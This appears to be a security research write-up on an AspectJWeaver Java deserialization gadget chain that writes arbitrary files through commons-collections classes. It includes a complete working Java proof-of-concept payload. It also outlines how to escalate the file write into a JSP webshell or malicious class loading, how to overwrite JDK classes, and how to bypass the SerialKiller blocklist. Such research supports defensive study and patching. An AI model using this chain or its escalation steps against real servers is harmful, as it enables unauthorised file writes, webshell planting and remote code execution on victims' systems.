AspectJWeaver ENV 1 2 3 4 5 6 7 8 9 10 11 12 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.2</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.2</version > </dependency > </dependencies >
You can notice that we use the commons-collections: 3.2.2
, because we only use the LazyMap
, TiedMapEntry
, ConstantTransformer
classes in the library, which are not restricted by FunctorUtils#checkUnsafeSerialization
.
AnyFileWrite Gadget Chain 1 2 3 4 5 6 7 8 HashSet.readObject() ->HashMap.put() ->HashMap.hash() ->TiedMapEntry.hashCode() ->TiedMapEntry.getValue() ->LazyMap.get() ->StoreableCachingMap.put() ->StoreableCachingMap.writeToPath()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.HashSet;import static java.util.Objects.hash;public class main { public static void main (String[] argc) throws Exception{ Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> con = clazz.getDeclaredConstructor(String.class, int .class); con.setAccessible(true ); HashMap hashMap = (HashMap) con.newInstance("path" , 100 ); ConstantTransformer constantTransformer = new ConstantTransformer ("hacked" .getBytes()); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1.txt" ); HashSet hashSet = new HashSet (); HashMap<Object, Object> tmp = new HashMap <>(); Method method = HashMap.class.getDeclaredMethod("putVal" , int .class, Object.class, Object.class, boolean .class, boolean .class); method.setAccessible(true ); method.invoke(tmp, 1 , tiedMapEntry, 1 , false , true ); Field field = HashSet.class.getDeclaredField("map" ); field.setAccessible(true ); field.set(hashSet, tmp); serialize(hashSet, "ser.bin" ); unserialize("ser.bin" ); } public static void serialize (Object o, String file) throws Exception { FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream oos = new ObjectOutputStream (fileOutputStream); oos.writeObject(o); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
Further Exploitation Jsp Webshell If the target service support the jsp, we can write a Jsp Webshell
Writing Evil Class We can write an evil class into WEB-INF/classes
or into jre/classes
, and use the deserialization function again.
FatJar under SpringBoot if the target server just run a .jar
file, so that we can’t write our class into WEB-INF/classes
. Under such circumstance, we need to overwriting the jdk’s system classes.
https://landgrey.me/blog/22/
Bypass SerialKiller SerialKiller
has banned ConstantTransformer
, so how can we bypass this.
We can use FactoryTransformer
+ConstantFactory
to bypass this limitation.
FactoryTransformer.getInstance(ConstantFactory.getInstance("hacked".getBytes()));
cache.idx After we write a file in writeToPath
, we will call the storeMap
, in which the class deserilize it self into cache.idx
In the init
method, it will serialize the cache.idx
But how to trigger its private constructor still remains a question.
Reference https://p4d0rn.gitbook.io/java/serial-journey/aspectjweaver